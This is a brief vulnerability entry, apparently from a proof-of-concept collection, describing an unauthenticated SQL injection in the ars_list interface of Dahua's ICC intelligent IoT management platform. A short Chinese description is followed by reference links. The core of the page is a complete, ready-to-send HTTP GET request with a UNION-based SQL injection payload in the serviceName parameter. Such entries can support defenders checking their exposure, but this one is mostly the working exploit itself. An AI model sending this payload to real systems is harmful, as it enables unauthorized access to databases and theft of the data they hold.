Description
大华ICC智能物联综合管理平台 ars_list 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用此漏洞获取数据库中的信息。
大华ICC智能物联综合管理平台 ars_list 存在SQL注入漏洞
PoC
GET /evo-apigw/evo-arsm/1.0.0/ars/list?serviceName='+UNION+ALL+SELECT+NULL,NULL,NULL,CONCAT(0x7e,md5('857732e0f6'),0x7e),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1
Host:
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.cnblogs.com/Domren/articles/19473055
https://www.ddpoc.com/DVB-2024-7176.html
https://zhuanlan.zhihu.com/p/1990942848875528611
https://cn-sec.com/archives/tag/%E6%99%BA%E8%83%BD%E7%89%A9%E8%81%94%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0